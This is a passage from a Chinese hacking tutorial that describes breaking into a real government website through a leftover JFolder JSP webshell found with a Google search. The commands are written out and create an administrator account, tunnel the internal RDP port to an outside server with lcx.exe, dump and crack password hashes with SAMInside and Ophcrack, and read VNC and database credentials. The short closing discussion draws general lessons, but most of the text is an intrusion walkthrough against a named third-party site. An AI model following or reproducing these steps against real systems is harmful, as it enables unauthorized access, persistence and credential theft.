2.5 利用JFolder后门渗透某网站
2.5.1 JFolder搜索与测试
1.搜索JFloder
JFolder是一款流行的JspWebshell后门,能进行文件管理等操作。在Google中进行定位搜索“filetype:jsp JFolder.jsp”,如图2-34所示,搜索出多个搜索结果。在这些搜索结果可以看到在第9个和第10个的地址栏中包含有JFolder.jsp。
图2-34 获取存在JFolder.jsp的页面
2.测试WebShell
单击第9个记录,如图2-35所示进入JFolder的WebShell界面,在该界面中可以清楚地看到“www.hmilyld.cn By Hmilyld修改”字样。在登录密码中输入一些简单密码进行登录测试,测试结果表明该Shell采用了自己的密码。在获取这类WebShell的处理时,有两种方法:一种是逆向追踪WebShell作者,从作者处获取WebShell,再在WebShell中获取登录密码进行测试;另外一种就是直接对存在WebShell的网站进行渗透测试。
图2-35 WebShell登录测试
2.5.2 Web渗透测试
1.目录浏览测试
在WebShell地址中去掉WebShell的名称进行浏览,如图2-36所示,其访问地址为:http://www.cshtz.gov.cn/webkey/apps/cms/upload/,回车后可以获取该目录下的所有图片等文件。测试表明该网站对目录权限设置不严格,允许匿名用户自己浏览目录。
图2-36 目录访问测试
2.获取WebShell
依次逐层减少目录进行访问,最终在webkey目录获取了一个不用访问密码的WebShell,如图2-37所示。
图2-37 获取WebShell
2.5.3 服务器提权
1.上传文件
在获取第一个WebShell后,可以有选择地上传一些文件,例如上传自己使用熟练的WebShell,如图2-38所示,上传一个Jbrowser的WebShell,另外,还可上传一些常用的工具软件,如samsinside等。
图2-38 上传文件
2.获取网络配置等信息
单击“Launch external program”进入命令执行窗口,在其中输入“ipconfig /all”查看该网络的详细配置情况,如图2-39所示,该服务器IP地址为172.19.0.45,说明是内网服务器。再在命令窗口分别执行“net user 1 1 /add”和“net localgroup administrators 1 /add”命令,添加一个管理员用户“1”,密码为“1”。
图2-39 获取网络配置信息
3.内网映射
将端口映射程序lcx.exe上传到系统盘Windows目录中,然后在命令执行窗口执行“C:\windows\lcx.exe -slave 202.102.***.** 51 172.19.0.45 3389”,将IP地址为172.19.0.45的内网服务器的3389端口,转发到具有外网独立IP地址为202.102.***.**的服务器的51端口,如图2-40所示,命令执行成功后会显示连接信息。由于未在202.102.***.**上进行监听,所以出现连接错误。
图2-40 内网映射
在外网服务器上执行“lcx -listen 51 2008”命令,如图2-41所示,执行成功后会出现一连串的接受和发送数据,表明连接建立成功。
图2-41 成功建立连接通道
4.登录服务器
单击“开始”-“运行”,在其中输入“mstsc”,打开远程终端连接端,在计算机中输入连接地址“127.0.0.1:2008”,出现连接界面后输入用户名和密码,成功登录服务器,如图2-42所示。
图2-42 登录服务器
5.获取服务器密码
将saminside.rar压缩文件解压到本地,然后双击saminside.exe文件运行saminside,如图2-43所示,单击三个小人的图表,在出现的列表中选择“Import Local using Scheduler”,接着程序就会自动获取服务器中的用户密码等信息。
图2-43 运行saninside获取服务器密码
一般20秒左右,saminside程序会将系统中存在的可以获取密码用户的相关信息读取出来,如图2-44所示,可以看到有5个用户信息,其中用户“1”密码比较简单直接读取出来,其余密码设置较为复杂,其信息显示在saminside的信息表中,分别选中user中的复选框,在菜单中单击“File”-“Export users in PWDUMP file”,导出密码文件到指定的文件中。
图2-44 导出用户密码
6.快速破解服务器密码
整理刚才“Export users in PWDUMP file”的文件,本案例中仅仅选择“administrator”用户的记录,清理无用信息后打开Ophcrack,将其load进去,如图2-45所示,单击Crack进行破解,不到两分钟该密码就被破解出来了。
图2-45 破解服务器密码
2.5.4 其他信息获取
1.读取VNC密码
使用刚才破解的密码重新登录系统,登录系统后,在该系统中安装了VNC远程管理软件,直接上传一个VNCPassView软件,运行后即可读取其密码,如图2-46所示。
图2-46 获取VNC密码
2.获取数据库密码
通过查看各个磁盘的内容,在E盘发现有网站的备份文件,如图2-47所示,其中的“数据库.txt”文件记录了数据库服务器(172.19.0.27)的用户名和登录密码。
图2-47 获取数据库密码
2.5.5 总结与探讨
(1)快速密码获取。在添加一个管理员用户的情况、通过端口映射登录系统后,通过上传Saminside,可以在1分钟内快速获取服务器中原有用户的密码Hash。获取系统Hash后通过Ophcrack又可以快速破解,从而获取原有系统的用户密码。
(2)在获取原有系统的用户名和密码后,使用其登录系统,通过一些工具软件可以快速获取系统中一些有用信息。
(3)在外网仅仅开放80端口,如果Web程序部署和编写存在漏洞,通过端口映射等手段完全可以渗透进入内网,在突破第一道防线后,再对内网进行渗透就容易多了。
(4)saminside和gethashes等工具在用户密码过长的情况下是无法获取的,只能使用特殊的方法来获取。